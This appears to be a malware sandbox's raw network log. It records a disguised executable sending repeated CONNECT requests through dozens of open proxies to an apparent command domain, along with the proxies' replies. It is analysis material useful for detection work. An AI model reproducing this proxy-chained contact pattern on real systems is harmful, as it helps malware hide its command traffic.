Mar 11, 2024 16:42:19.106492043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.11	49778	162.241.50.179	37876	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.108134985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.173094988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.173939943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.188801050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:43.204236984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:55.282201052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:07.375950098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.11	50244	194.150.69.56	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.114634037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.969813108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.266696930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876842022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.092284918 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 817 Content-Type: text/html Date: Mon, 11 Mar 2024 15:42:24 GMT Expires: Mon, 11 Mar 2024 15:42:24 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.11	50471	104.24.35.152	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.114989996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.269232988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.11	50431	199.58.185.9	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.154270887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.11	50316	95.84.166.138	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.154769897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.11	50478	66.225.246.238	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.155008078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.11	50486	104.27.83.183	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.155500889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.309658051 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.11	50436	184.178.172.3	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.156155109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.11	50461	192.163.200.80	59559	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.156260967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.11	50160	117.160.250.163	9990	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.156862020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.719943047 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.11	50371	91.65.102.60	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.161322117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.844739914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.829129934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.876538992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.876518011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.881983995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876399040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.657291889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.282264948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.11	50253	222.138.76.6	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.161509991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.771900892 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:38:02 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.11	50378	20.37.207.8	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.161566973 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:19.480395079 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.11	50460	23.94.123.243	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.163659096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.705823898 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.11	50409	211.222.252.187	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.169282913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.11	50419	209.159.153.19	24543	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.172707081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.505851030 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.11	50370	213.184.153.66	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.174436092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.891609907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.907259941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.005315065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.11	50377	91.148.127.162	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.181462049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.11	50365	202.162.219.10	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.185502052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.11	50510	173.245.49.27	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.198865891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.353030920 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.11	49763	103.127.106.249	8090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.206059933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.329157114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.208163977 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.11	50347	202.40.181.220	31247	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.210009098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.11	50563	31.43.179.160	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.218039036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.372607946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.11	50587	104.25.87.42	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
